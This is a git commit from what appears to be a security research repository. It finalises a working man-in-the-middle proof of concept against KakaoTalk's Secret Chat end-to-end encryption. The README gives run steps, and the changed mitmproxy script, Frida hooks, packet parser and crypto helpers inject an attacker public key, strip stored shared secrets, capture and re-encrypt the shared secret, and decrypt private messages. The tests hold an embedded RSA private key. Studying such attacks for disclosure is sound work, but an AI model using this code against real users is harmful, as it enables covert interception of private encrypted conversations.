Finalize Secret Chat MITM scripts

This commit is contained in:
stulle123 2023-12-22 14:17:06 +01:00
parent f704b2928e
commit 306ff798cd
8 changed files with 135 additions and 247 deletions

View File

@ -6,7 +6,7 @@
We've created a simple script to man-in-the-middle *Secret Chat* communications with `Frida` and `mitmproxy`. It demonstrates a well-known server-side attack in which the operator (i.e. KakaoTalk) can spoof a client's public key to intercept and read E2E encrypted chat messages.
After the MITM attack there's no immediate warning message in the chat. Only if both parties go to `Chatroom Settings` -> `Public Key` and compare their public key fingerprints, the attack can be detected.
After the MITM attack there's no immediate warning message that is prompted to the user. Only if both parties go to `Chatroom Settings` -> `Public Key` and compare their public key fingerprints, the attack can be detected.
This is how one can run the PoC:
@ -14,21 +14,25 @@ This is how one can run the PoC:
- Wipe all entries in the `public_key_info` and `secret_key_info` tables from the `KakaoTalk.db` database
- Start `mitmproxy`: `$ mitmdump -m wireguard -s mitm_secret_chat.py`
- Start `Frida`: `$ frida -U -l loco-tracer.js -f com.kakao.talk`
- Create new *Secret Chat* room in KakaoTalk app and sent a message
- Create new *Secret Chat* room in the KakaoTalk app and send a message
- View message in `mitmproxy` terminal window
How it works:
- Server-side `GETLPK` packet gets intercepted -> Inject MITM public key
- Server-side `SCREATE` packet gets intercepted -> Remove already existing shared secret (if any)
- Server-side `SCREATE` packet gets intercepted -> Remove an already existing shared secret (if any)
- Sender sends a `SETSK` packet -> `mitmproxy` script grabs shared secret and re-encrypts it with the recipient's original public key
- Using the shared secret, the script computes the E2E encryption key
- `MSG` and `SWRITE` packets are decrypted and dumped in the `mitmproxy` terminal
Known issues:
Known issues / TODOs:
- Malformed `SCREATE` packets lead to parsing errors -> work-around: restart the script and try again :wink:
- Sometimes the shared secret can't be decrypted and the script fails with a `ValueError` exception (`Encryption/decryption failed`) -> just try again :wink:
- Mitmproxy splits large `SCREATE` packets into multiple messages. There's no built-in packet reassembly. As such, fragmented `SCREATE` packets lead to parsing errors -> work-around:
- Delete the Secret Chat chatroom and delete all rows from the `public_key_info` and `secret_key_info` tables in the `KakaoTalk.db` database
- Restart the mitmproxy and Frida scripts
- Create a new chatroom. Also try to create a new chatroom with a different friend.
- If the MITM public key can't be injected, the shared secret can't be decrypted and the script fails with a `ValueError` exception (`Encryption/decryption failed`) -> just try again :wink:
- The removal of server-side stored shared secrets doesn't seem to work in some cases (flaky)
Android implementation specifics:
@ -39,11 +43,9 @@ Android implementation specifics:
TO-DOS:
- How to attack an already existing E2E chat room?
- Check public key fingerprints if they have changed
- Reinstall the app and check whether a warning shows up
- What about the master secret? -> Remove it!
- Test CFB bit flipping
- How are the msgId and chatId generated? -> nonce for CTR mode!
Demo:

View File

@ -570,7 +570,9 @@ function hookKeyGeneratorGenerateKey() {
if (!(doNotHookFileNames.includes(caller.getFileName())) || hookAllClasses) {
console.log("[KeyGenerator.generateKey()]: Object: " + tmp);
console.log("Caller: " + caller.getFileName());
dumpByteArray("[KeyGenerator.generateKey()]: Key", encodedKey);
// dumpByteArray("[KeyGenerator.generateKey()]: Key", encodedKey);
var base64_key = Java.use("android.util.Base64").encodeToString(encodedKey, 0);
console.log("Generated key: " + base64_key);
if (printStacktrace) {
var stacktrace = Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new()).replace("java.lang.Exception", "")
console.log(stacktrace);

View File

@ -1,4 +1,5 @@
import math
import re
from cryptography.hazmat.primitives import hashes, hmac, serialization
from cryptography.hazmat.primitives.asymmetric import padding, rsa
@ -41,6 +42,19 @@ def get_rsa_public_key_pem(key_pair):
)
def get_clean_public_key(key_pair) -> str:
mitm_public_key_pem = get_rsa_public_key_pem(key_pair).decode("utf-8")
header = "-----BEGIN PUBLIC KEY-----"
footer = "-----END PUBLIC KEY-----"
pattern = re.compile(
f"{header}|{footer}",
re.MULTILINE,
)
mitm_public_key_cleaned = pattern.sub("", mitm_public_key_pem).replace("\n", "")
return mitm_public_key_cleaned
def rsa_encrypt(plaintext: bytes, public_key_pem: str, add_header_footer: bool = False):
if add_header_footer:
header = "-----BEGIN RSA PUBLIC KEY-----\n"
@ -72,6 +86,11 @@ def rsa_decrypt(ciphertext: bytes, key_pair) -> bytes:
return plaintext
def get_e2e_encryption_key(shared_secret: bytes):
salt = b"53656372657443686174526f6f6d4b6579"
return compute_key(shared_secret, salt, 32)
def compute_key(shared_secret: bytes, salt: bytes, length):
kdf = PBKDF2HMAC(algorithm=hashes.SHA1(), length=length, salt=salt, iterations=2048)
key = kdf.derive(shared_secret)
@ -84,6 +103,7 @@ def compute_hmac(key, message):
return h.finalize()
# Code taken from KakaoTalk 10.4.3 Android sources
def byte_juggling_1(i, i2, b_arr):
z = i <= i2
@ -102,6 +122,7 @@ def byte_juggling_1(i, i2, b_arr):
return None
# Code taken from KakaoTalk 10.4.3 Android sources
def byte_juggling_2(b_arr, b_arr2):
length = len(b_arr2)
@ -119,6 +140,7 @@ def byte_juggling_2(b_arr, b_arr2):
return b_arr4
# Code taken from KakaoTalk 10.4.3 Android sources
def compute_nonce(shared_secret: bytes, message_id):
message_id_bytes = message_id.to_bytes(8, "little")
salt_1 = b"53656372657443686174526f6f6d4b6579" # SecretChatRoomKey

View File

@ -1,132 +1,13 @@
import base64
import io
import logging
import re
import struct
import bson
from lib.crypto_utils import (
aes_decrypt,
aes_e2e_decrypt,
aes_encrypt,
compute_key,
compute_nonce,
get_rsa_public_key_pem,
rsa_decrypt,
rsa_encrypt,
)
class LocoPacket:
def __init__(
self,
identifier=0,
status_code=0,
loco_command="",
body_type=0,
body_length=0,
body_payload=b"",
):
self.id = identifier
self.status_code = status_code
self.loco_command = loco_command
self.body_type = body_type
self.body_length = body_length
self.body_payload = body_payload
def get_packet_bytes(self) -> bytes:
try:
f = io.BytesIO()
f.write(struct.pack("<I", self.id))
f.write(struct.pack("<H", self.status_code))
f.write(self.loco_command.encode("utf-8"))
f.write(b"\x00" * (11 - len(self.loco_command)))
f.write(struct.pack("<b", self.body_type))
f.write(struct.pack("<i", self.body_length))
f.write(self.body_payload)
return f.getvalue()
except Exception as general_exception:
logging.error("Could not create LOCO packet: %s", general_exception)
return None
def get_packet_as_dict(self) -> dict:
loco_dict = vars(self)
try:
if loco_dict["body_payload"] and isinstance(
loco_dict["body_payload"], bytes
):
loco_dict["body_payload"] = bson.loads(self.body_payload)
elif loco_dict["body_payload"] and isinstance(
loco_dict["body_payload"], dict
):
loco_dict["body_payload"] = self.body_payload
except Exception as general_exception:
loco_dict = {}
logging.error(
"Couldn't decode BSON body of packet %s: %s",
self.loco_command,
general_exception,
)
return loco_dict
class LocoEncryptedPacket:
def __init__(self, length=0, iv=b"", payload=b""):
self.length = length
self.iv = iv
self.payload = payload
def create_new_packet(self, loco_packet: LocoPacket) -> bytes:
if not loco_packet:
logging.error(
"Could not create LOCO encrypted packet: LOCO packet data is None."
)
return None
encrypted_packet = aes_encrypt(loco_packet.get_packet_bytes(), self.iv)
if not encrypted_packet:
logging.error("Could not encrypt LOCO packet.")
return None
try:
f = io.BytesIO()
f.write(struct.pack("<I", len(encrypted_packet) + len(self.iv)))
f.write(self.iv)
f.write(encrypted_packet)
return f.getvalue()
except Exception as general_exception:
logging.error(
"Could not create LOCO encrypted packet: %s", general_exception
)
return None
def get_packet_bytes(self) -> bytes:
try:
f = io.BytesIO()
f.write(struct.pack("<I", len(self.payload) + len(self.iv)))
f.write(self.iv)
f.write(self.payload)
return f.getvalue()
except Exception as general_exception:
logging.error(
"Could not convert LOCO encrypted packet to bytes: %s",
general_exception,
)
return None
class LocoHandshakePacket:
def __init__(self, length=256, handshake_type=0, block_cipher_mode=0, payload=b""):
self.length = length
self.type = handshake_type
self.block_cipher_mode = block_cipher_mode
self.payload = payload
self.cipher_mode_map = {1: "CBC", 2: "AES/CFB/NoPadding", 3: "OFB"}
self.encryption_mode_map = {15: "RSA/NONE/OAEPWithSHA1AndMGF1Padding"}
from lib.crypto_utils import (aes_decrypt, aes_e2e_decrypt, compute_nonce,
get_clean_public_key, rsa_decrypt, rsa_encrypt)
from lib.loco_packet import (LocoEncryptedPacket, LocoHandshakePacket,
LocoPacket)
class LocoParser:
@ -147,6 +28,7 @@ class LocoParser:
body_type = struct.unpack("<b", data[17:18])[0]
body_length = struct.unpack("<i", data[18:22])[0]
body_payload = data[22:]
return LocoPacket(
identifier,
status_code,
@ -160,6 +42,7 @@ class LocoParser:
"Couldn't parse LOCO packet: %s \nAre you running Frida in parallel to patch the AES key?",
general_exception,
)
return None
def parse_loco_encrypted_packet(self, data):
@ -171,7 +54,13 @@ class LocoParser:
length = struct.unpack("<I", data[0:4])[0]
iv = data[4:20]
payload = data[20:]
return LocoEncryptedPacket(length, iv, payload)
if length > (len(data) - 4):
is_fragmented = True
else:
is_fragmented = False
return LocoEncryptedPacket(length, iv, payload, is_fragmented)
except Exception as general_exception:
logging.error("Couldn't parse LOCO encrypted packet: %s", general_exception)
return None
@ -210,18 +99,18 @@ class LocoParser:
body_json = self.loco_packet.body_payload
# MSG LOCO packet
# Read message from "MSG" LOCO packet
if (
"chatLog" in body_json
and body_json["chatLog"]["message"] == trigger_message
):
body_json["chatLog"]["message"] = payload
# WRITE LOCO packet
# Read message from "WRITE" LOCO packet
if "msg" in body_json and body_json["msg"] == trigger_message:
body_json["msg"] = payload
# LOGINLIST LOCO packet
# Read message from "LOGINLIST" LOCO packet
if "chatDatas" in body_json and body_json["chatDatas"]:
if (
"l" in body_json["chatDatas"][0]
@ -263,22 +152,10 @@ class LocoParser:
self.loco_encrypted_packet.payload = bytes(ciphertext)
return self.loco_encrypted_packet.get_packet_bytes()
def get_clean_public_key(self, key_pair) -> str:
mitm_public_key_pem = get_rsa_public_key_pem(key_pair).decode("utf-8")
header = "-----BEGIN PUBLIC KEY-----"
footer = "-----END PUBLIC KEY-----"
pattern = re.compile(
f"{header}|{footer}",
re.MULTILINE,
)
mitm_public_key_cleaned = pattern.sub("", mitm_public_key_pem).replace("\n", "")
return mitm_public_key_cleaned
def inject_public_key(self, key_pair):
if not self.loco_packet:
logging.error("LOCO packet data is None.")
return (None, None, None)
return (None, None)
if isinstance(self.loco_packet.body_payload, bytes):
self.loco_packet.body_payload = bson.loads(self.loco_packet.body_payload)
@ -289,33 +166,31 @@ class LocoParser:
"SCREATE",
"CHATONROOM",
}:
return (None, None, None)
return (None, None)
if not self.loco_packet.body_payload.get("pi"):
logging.error(
"LOCO packet %s doesn't contain dictionary key 'pi'.",
logging.warning(
"There's no public key in %s packet. No need to replace it.",
self.loco_packet.loco_command,
)
return (None, None, None)
return (None, None)
mitm_public_key_cleaned = self.get_clean_public_key(key_pair)
mitm_public_key_cleaned = get_clean_public_key(key_pair)
# logging.info("MITM public key: %s", mitm_public_key_cleaned)
original_public_key = self.loco_packet.body_payload["pi"][0]["ek"]
user_id = self.loco_packet.body_payload["pi"][0]["u"]
self.loco_packet.body_payload["pi"][0]["ek"] = mitm_public_key_cleaned
if not len(original_public_key) == len(mitm_public_key_cleaned):
logging.error("Original and MITM public key don't have the same length!")
return (None, None, None)
return (None, None)
self.loco_packet.body_payload = bson.dumps(self.loco_packet.body_payload)
self.loco_packet.body_length = len(self.loco_packet.body_payload)
return (
original_public_key.encode(),
user_id,
self.loco_encrypted_packet.create_new_packet(self.loco_packet),
)
@ -332,7 +207,7 @@ class LocoParser:
if self.loco_packet.body_payload.get("si"):
logging.warning(
"Removing stored shared secret from %s packet.",
"Removing stored shared secret from %s packet...",
self.loco_packet.loco_command,
)
self.loco_packet.body_payload.pop("si")
@ -342,10 +217,6 @@ class LocoParser:
return self.loco_encrypted_packet.create_new_packet(self.loco_packet)
def get_e2e_encryption_key(self, shared_secret: bytes):
salt = b"53656372657443686174526f6f6d4b6579"
return compute_key(shared_secret, salt, 32)
def get_shared_secret(self, rsa_key_pair) -> bytes:
shared_secret = None
@ -429,7 +300,7 @@ class LocoParser:
msg_id = self.loco_packet.body_payload["chatLog"]["msgId"]
chat_id = self.loco_packet.body_payload["chatId"]
# KakaoTalk uses either the msgId or chatId to compute the nonce
# KakaoTalk uses either the msgId or chatId as an input seed to compute the nonce
nonce_with_msg_id = compute_nonce(shared_secret, msg_id)
nonce_with_chat_id = compute_nonce(shared_secret, chat_id)

View File

@ -1,21 +1,20 @@
import base64
import logging
from lib.crypto_utils import get_rsa_key_pair
from lib.crypto_utils import get_e2e_encryption_key, get_rsa_key_pair
from lib.loco_parser import LocoParser
from mitmproxy import connection, tcp, tls
from mitmproxy.utils import human, strutils
class LocoMitmBase:
def __init__(self, rsa_key_pair, master_secret=None, test_key=None) -> None:
def __init__(self, rsa_key_pair) -> None:
self.parser = LocoParser()
self.rsa_key_pair = rsa_key_pair
self.recipient_user_id = 0
self.recipient_public_key = b""
self.shared_secret = b""
self.master_secret = master_secret
self.e2e_encryption_key = test_key
self.e2e_encryption_key = b""
self.cached_packet = b""
@staticmethod
def get_addr(server: connection.Server):
@ -30,7 +29,7 @@ class LocoMitmBase:
class SecretChatMitm(LocoMitmBase):
def compute_e2e_encryption_key(self, shared_secret):
if not self.e2e_encryption_key:
self.e2e_encryption_key = self.parser.get_e2e_encryption_key(shared_secret)
self.e2e_encryption_key = get_e2e_encryption_key(shared_secret)
logging.warning(
"Shared secret: %s E2E encryption key: %s",
shared_secret,
@ -39,7 +38,24 @@ class SecretChatMitm(LocoMitmBase):
def tcp_message(self, flow: tcp.TCPFlow):
message = flow.messages[-1]
self.parser.parse(message.content)
# Flaky way to reassemble fragmented LOCO packets
# TODO: Fix this.
if self.cached_packet:
logging.warning("Trying to reassemble LOCO packet...")
self.parser.parse(self.cached_packet + message.content)
self.cached_packet = b""
else:
self.parser.parse(message.content)
if self.parser.loco_encrypted_packet.is_fragmented:
self.cached_packet = message.content
logging.warning(
"%s packet is fragmented. Dropping it...",
self.parser.loco_packet.loco_command,
)
message.content = b""
return
# Log LOCO packets to STDOUT
if self.parser.loco_packet:
@ -58,15 +74,6 @@ class SecretChatMitm(LocoMitmBase):
)
return
# Drop LOCO packets that can't be decoded
if not decoded_loco_packet:
logging.warning(
"Dropping %s packet as we cannot decode the packet body.",
self.parser.loco_packet.loco_command,
)
message.content = b""
return
# If there's already a shared secret stored on the server-side remove it
if (
not self.e2e_encryption_key
@ -79,7 +86,7 @@ class SecretChatMitm(LocoMitmBase):
):
if isinstance(self.parser.loco_packet.body_payload, bytes):
logging.warning(
"Dropping %s packet as we cannot decode the packet body.",
"Dropping %s packet as we cannot decode the packet body...",
self.parser.loco_packet.loco_command,
)
message.content = b""
@ -92,29 +99,24 @@ class SecretChatMitm(LocoMitmBase):
self.parser.parse(message.content)
# Drop server-side "SETSK" LOCO packets
if (
not self.e2e_encryption_key
and not message.from_client
and self.parser.loco_packet.loco_command == "SETSK"
):
logging.warning("Dropping server-side SETSK packet.")
if not message.from_client and self.parser.loco_packet.loco_command == "SETSK":
logging.warning("Dropping server-side SETSK packet...")
message.content = b""
return
# Get recipient's public key and replace it with our MITM public key
if (
not self.e2e_encryption_key
and not message.from_client
and self.parser.loco_packet.loco_command
in {"GETPK", "GETLPK", "SCREATE", "CHATONROOM"}
):
if not message.from_client and self.parser.loco_packet.loco_command in {
"GETPK",
"GETLPK",
"SCREATE",
"CHATONROOM",
}:
logging.warning(
"Trying to parse recipient's public key from %s packet...",
self.parser.loco_packet.loco_command,
)
(
recipient_public_key,
self.recipient_user_id,
tampered_packet,
) = self.parser.inject_public_key(self.rsa_key_pair)
@ -127,13 +129,6 @@ class SecretChatMitm(LocoMitmBase):
else:
self.recipient_public_key = recipient_public_key
if not self.recipient_user_id:
logging.error(
"Could not parse recipient user ID from %s packet.",
self.parser.loco_packet.loco_command,
)
return
if not tampered_packet:
logging.error(
"Could not create a fake %s packet.",
@ -145,13 +140,13 @@ class SecretChatMitm(LocoMitmBase):
"Injecting MITM public key into %s packet...",
self.parser.loco_packet.loco_command,
)
message.content = tampered_packet
# logging.info("Tampered packet: %s", self.parser.loco_packet.get_packet_as_dict())
return
# Grab the shared secret from the "SETSK" packet
if (
self.recipient_public_key
and not self.e2e_encryption_key
and message.from_client
and self.parser.loco_packet.loco_command == "SETSK"
):
@ -160,9 +155,9 @@ class SecretChatMitm(LocoMitmBase):
self.parser.loco_packet.loco_command,
)
shared_secret = self.parser.get_shared_secret(self.rsa_key_pair)
shared_secret_encoded = self.parser.get_shared_secret(self.rsa_key_pair)
if not shared_secret:
if not shared_secret_encoded:
logging.error(
"Couldn't decrypt shared secret from %s packet. Dropping it...",
self.parser.loco_packet.loco_command,
@ -170,7 +165,7 @@ class SecretChatMitm(LocoMitmBase):
message.content = b""
return
self.shared_secret = shared_secret
self.shared_secret = shared_secret_encoded
logging.warning("Shared secret: %s", self.shared_secret)
# Re-encrypt shared secret with the recipient's original public key
@ -187,31 +182,29 @@ class SecretChatMitm(LocoMitmBase):
)
# Compute E2E encryption key
if not self.e2e_encryption_key and self.shared_secret:
if self.shared_secret:
self.compute_e2e_encryption_key(self.shared_secret)
if not self.e2e_encryption_key and self.master_secret:
self.compute_e2e_encryption_key(self.master_secret)
# Decrypt Secret Chat end-to-end encrypted message
if self.e2e_encryption_key and (
(message.from_client and self.parser.loco_packet.loco_command == "SWRITE")
or (
not message.from_client
and self.parser.loco_packet.loco_command == "MSG"
if (
self.e2e_encryption_key
and self.shared_secret
and (
(
message.from_client
and self.parser.loco_packet.loco_command == "SWRITE"
)
or (
not message.from_client
and self.parser.loco_packet.loco_command == "MSG"
)
)
):
logging.warning("Trying to decrypt Secret Chat message...")
decrypted_e2e_message = ""
if self.master_secret:
decrypted_e2e_message = self.parser.get_decrypted_e2e_message(
self.e2e_encryption_key, self.master_secret
)
elif self.shared_secret:
decrypted_e2e_message = self.parser.get_decrypted_e2e_message(
self.e2e_encryption_key, self.shared_secret
)
decrypted_e2e_message = self.parser.get_decrypted_e2e_message(
self.e2e_encryption_key, self.shared_secret
)
if decrypted_e2e_message:
logging.warning(

View File

@ -1,13 +1,12 @@
import base64
from pathlib import Path
from typing import Final
import pytest
import ruamel.yaml
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding
from lib.crypto_utils import get_rsa_public_key_pem, rsa_decrypt, rsa_encrypt
from lib.loco_parser import LocoEncryptedPacket, LocoPacket, LocoParser
from cryptography.hazmat.primitives import serialization
from lib.crypto_utils import rsa_decrypt
from lib.loco_packet import LocoEncryptedPacket, LocoPacket
from lib.loco_parser import LocoParser
yaml = ruamel.yaml.YAML(typ="safe", pure=True)
@ -64,17 +63,18 @@ _LOCO_PACKETS_YAML: Final = [
"syncmsg_packet_server.yaml",
]
_IV: Final = 16 * b"\x00"
_KAKAOTALK_RSA_PUBLIC_KEY: Final = b"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9itiCdmMHYWJXq4GE0Xm\ncYy2/ifVv7lYZgPkqw2hjhhhPRYBGchuWUrWynqK0lQODvRIOyM3Q9khv8CPKss2\nipkBbQ4HHRSmpR346TbMQrTUjUCDSSfyY8Awy+DjGzWfn46uY0sHutP6wbGNhlmq\nc8mLP1mjAePYXE3QL1o1oWxhMqyRNY/RSrYMnqowt4u1/Fb3TVQ99uq6q7GkSWJC\nW+ALzx8eTHqnDUl7VqIS0EfNrHsExaR8m5HubWjfg8ZGX4+NNd9kNEINXTVfAcGH\nZ6XuMT1bdeW/F3IbAslbfH7Uj3LRTQhZ8iDzG19DIQy73s/IajPmQllFJaDdIr/w\nFQIDAQAB"
_ORIGINAL_RECIPIENT_PUBLIC_KEY: Final = b"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9itiCdmMHYWJXq4GE0Xm\ncYy2/ifVv7lYZgPkqw2hjhhhPRYBGchuWUrWynqK0lQODvRIOyM3Q9khv8CPKss2\nipkBbQ4HHRSmpR346TbMQrTUjUCDSSfyY8Awy+DjGzWfn46uY0sHutP6wbGNhlmq\nc8mLP1mjAePYXE3QL1o1oWxhMqyRNY/RSrYMnqowt4u1/Fb3TVQ99uq6q7GkSWJC\nW+ALzx8eTHqnDUl7VqIS0EfNrHsExaR8m5HubWjfg8ZGX4+NNd9kNEINXTVfAcGH\nZ6XuMT1bdeW/F3IbAslbfH7Uj3LRTQhZ8iDzG19DIQy73s/IajPmQllFJaDdIr/w\nFQIDAQAB"
_SHARED_SECRET: Final = b"SHARED_SECRET"
_SHARED_SECRET_ENCODED: Final = base64.b64encode(_SHARED_SECRET)
def get_rsa_2048_key_pair():
def get_mitm_rsa_2048_key_pair():
key_pair_pem = b"-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQD2K2IJ2YwdhYle\nrgYTReZxjLb+J9W/uVhmA+SrDaGOGGE9FgEZyG5ZStbKeorSVA4O9Eg7IzdD2SG/\nwI8qyzaKmQFtDgcdFKalHfjpNsxCtNSNQINJJ/JjwDDL4OMbNZ+fjq5jSwe60/rB\nsY2GWapzyYs/WaMB49hcTdAvWjWhbGEyrJE1j9FKtgyeqjC3i7X8VvdNVD326rqr\nsaRJYkJb4AvPHx5MeqcNSXtWohLQR82sewTFpHybke5taN+DxkZfj40132Q0Qg1d\nNV8BwYdnpe4xPVt15b8XchsCyVt8ftSPctFNCFnyIPMbX0MhDLvez8hqM+ZCWUUl\noN0iv/AVAgMBAAECggEAMUOqWZVHZKsSPDfwcE/3V7cU8hUPwlA54CScUR0nvTOk\n1iA+tSW267i99oSCnqgCrjx17hvUlgfwqJrFLAfCEQeg0O3TP58f4IB4jVeRljHx\nLZmBDJVpfUv7l/mYCZx4JurbfHSKBfohPz0kuQPdyFFHxDRQmnK6HHLYHHndrMGK\nzmuH+DigjPy2WIJvuWnMQE6kMnIdncHu6PpuZb8syryYQSWEgXUeUL96CHdhNwNk\nayXWRli6uqVM9yBYPUHU11V7LrZYoFp3T1P81Gd+SVSUfMumS37l18q7fZXbrRr8\nsRWes75cwulp5KZsmsQVBaMbl4Dm3iClDJ5nSqpPIQKBgQD/FnftIGnKuiSX382J\nJdGHzR2XkYHiiL/zZEkLAT+5NjJRS6UNeK5o/M1L6boPycvytzJmH0jV0sC3X4SY\n7XOGXnmJmnzG2zxDrdge+j+KGJ3i0eTdQBE8+kC1NUCZHSEYRN4MZEzHfAHop5NF\nIaHBbDnqHOudomrb4DrIow6/5QKBgQD3DL/1jK4qIrryWuPzN7cpWft6vwHG7t+q\nnf9a9tjZ5gec/I6TvbM0Qj4ok005NjwUI1BhR2OGoSd/Axd59Xx4P+Q4mNPiysRi\n+ItmQlnV3U6l1m2A2iznF1/2127pQT7NUfaDoX9MNSOzLCCGBWqSktP+FhLD8csU\nHWLNelyMcQKBgA1LxoR9pAYFHdMsvzHe3sUNU/WKiBKeviKZn5ULQ58LzCOgpcHG\nAJFIXAsQ67nW8uJ72gyopMtAaPsl52txNQxT8FHT050p4EJG1XUH5jf0gIZKGnvN\n0xgykxze4bcZZZg2Pry2nanoNNFDqtF3p07FrV8ekslspdVAItBCb4phAoGAO9Ta\nqJ1pkMrYe9mHW2Ai++DPBus7gvJXOPsK3Pzrh9ot/dcssJtAy2c/ppQGH9UCt93V\nmbmwYOqmphwZk2/gtT7EBvD8X/C7nzyShjGLkEAIzCEiZBJyzYTbuOxz8AndK9yt\n1zNFoS89dic5uTuWk+j7bo3p/YqRpE15oEoCIAECgYEA6Sj9AJKKdtdhY1xRTJvh\n6r85iW24EVN1K4eZqNLKiu6l7N1zofxfwXlZPOwE5YYN965xVKGHocwL0dk3Js5C\nw5+hHfxWLomnz+c2tv7kkTJTZzKfSR/6gzsdR4kX9hS2bntQdH137RpobvdGcJGe\nh5FwC5Myfu2oxAqtvX6ii9g=\n-----END PRIVATE KEY-----\n"
return serialization.load_pem_private_key(key_pair_pem, password=None)
@pytest.fixture
def parser():
@pytest.fixture(name="parser")
def parser_fixture():
return LocoParser()
@ -93,13 +93,15 @@ def loco_packet_packet(request, shared_datadir):
)
@pytest.fixture
def loco_encrypted_packet():
@pytest.fixture(name="loco_encrypted_packet")
def loco_encrypted_packet_fixture():
return LocoEncryptedPacket(length=0, iv=_IV, payload=b"")
@pytest.fixture(params=zip(_LOCO_ENYCRYPTED_PACKETS_RAW, _LOCO_PACKETS_YAML))
def loco_zip(request):
@pytest.fixture(
name="loco_zip", params=zip(_LOCO_ENYCRYPTED_PACKETS_RAW, _LOCO_PACKETS_YAML)
)
def loco_zip_fixture(request):
return request.param
@ -127,7 +129,7 @@ def test_parse(parser, loco_zip, shared_datadir):
def test_inject_public_key(parser, loco_encrypted_packet, shared_datadir):
rsa_key_pair = get_rsa_2048_key_pair()
rsa_key_pair = get_mitm_rsa_2048_key_pair()
with open(
(shared_datadir / "encrypted_screate_packet_with_mitm_key.raw"), "rb"
@ -164,7 +166,7 @@ def test_inject_public_key(parser, loco_encrypted_packet, shared_datadir):
def test_get_shared_secret(parser, shared_datadir):
rsa_key_pair = get_rsa_2048_key_pair()
rsa_key_pair = get_mitm_rsa_2048_key_pair()
with open(
(shared_datadir / "setsk_loco_packet_sk_enc_with_mitm_key.yaml"),
@ -191,15 +193,12 @@ def test_get_shared_secret(parser, shared_datadir):
parser.loco_packet = setsk_packet
assert parser.loco_packet
assert parser.get_shared_secret(rsa_key_pair) == decrypted_shared_secret
assert parser.get_shared_secret(rsa_key_pair) == _SHARED_SECRET_ENCODED
def test_encrypt_shared_secret(parser, loco_encrypted_packet, shared_datadir):
with open((shared_datadir / "encrypted_setsk_packet.raw"), "rb") as packet_raw:
encrypted_setsk_packet = packet_raw.read()
with open(
(shared_datadir / "setsk_loco_packet_sk_enc_with_mitm_key.yaml"),
(shared_datadir / "setsk_loco_packet_sk_enc_with_recipient_key.yaml"),
encoding="utf-8",
) as packet_yaml:
setsk_dict = yaml.load(packet_yaml)
@ -219,7 +218,6 @@ def test_encrypt_shared_secret(parser, loco_encrypted_packet, shared_datadir):
parser.loco_encrypted_packet = loco_encrypted_packet
assert parser.loco_encrypted_packet
assert (
parser.encrypt_shared_secret(_SHARED_SECRET, _KAKAOTALK_RSA_PUBLIC_KEY)
== encrypted_setsk_packet
assert parser.encrypt_shared_secret(
_SHARED_SECRET_ENCODED, _ORIGINAL_RECIPIENT_PUBLIC_KEY
)